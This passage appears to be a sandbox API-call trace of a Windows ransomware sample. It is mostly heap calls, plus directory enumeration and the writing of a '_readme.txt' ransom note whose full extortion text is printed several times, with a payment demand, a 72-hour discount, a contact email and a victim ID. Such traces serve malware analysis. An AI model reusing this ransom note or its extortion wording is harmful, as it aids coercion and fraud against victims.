lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.295] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.295] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.296] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.296] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.296] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.296] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.296] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.296] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.296] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.296] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.296] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.296] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.296] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.296] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.296] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.296] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.296] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.296] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.296] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.297] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.297] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.298] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.298] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.298] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.298] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.298] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.298] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.298] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.298] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.298] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.298] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.298] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.298] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.298] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0124.298] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.298] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.298] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.298] PathFindFileNameW (pszPath="") returned="" [0124.298] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.298] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.298] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.298] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x800) returned 0x3ae1ff0 [0124.298] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.298] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3ae27f8 [0124.298] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.299] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.299] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0124.299] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.299] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0124.299] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.299] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.300] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.300] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.300] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.300] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.300] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.300] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.300] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.300] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.300] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.300] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.300] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.300] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.300] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.300] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.300] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.300] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.300] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.300] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.300] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.300] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.300] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.300] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.301] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.301] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.301] HeapFree (in: 